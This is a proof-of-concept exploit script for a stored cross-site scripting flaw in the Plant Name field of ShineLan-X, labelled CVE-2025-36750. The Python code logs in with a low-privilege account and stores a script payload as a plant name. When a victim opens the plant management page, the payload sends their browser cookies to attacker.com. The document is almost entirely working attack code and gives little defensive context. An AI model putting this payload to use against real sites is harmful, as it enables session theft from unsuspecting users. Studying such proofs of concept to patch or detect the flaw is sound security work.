CVE-2025-36750: ShineLan-X Plant Name字段存储型XSS漏洞

# CVE-2025-36750 PoC - Stored XSS in ShineLan-X Plant Name Field # This PoC demonstrates how to inject malicious JavaScript via the Plant Name parameter import requests import json TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/login" PLANT_ADD_URL = f"{TARGET_URL}/api/plants/add" # Malicious XSS payload XSS_PAYLOAD = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Step 1: Authenticate with low-privilege account def login(username, password): session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data) return session if response.status_code == 200 else None # Step 2: Inject XSS payload via Plant Name field def inject_xss(session): plant_data = { "name": XSS_PAYLOAD, "description": "Normal plant description", "location": "Greenhouse A" } response = session.post(PLANT_ADD_URL, json=plant_data) return response.status_code == 200 # Step 3: When victim visits plant management page, XSS executes # The injected script will steal cookies and send to attacker if __name__ == "__main__": print("CVE-2025-36750 PoC - ShineLan-X Stored XSS") session = login("regular_user", "password123") if session and inject_xss(session): print("[+] XSS payload injected successfully!") print("[+] Payload stored in Plant Name field") print("[+] Attack will execute when victims view plant management page")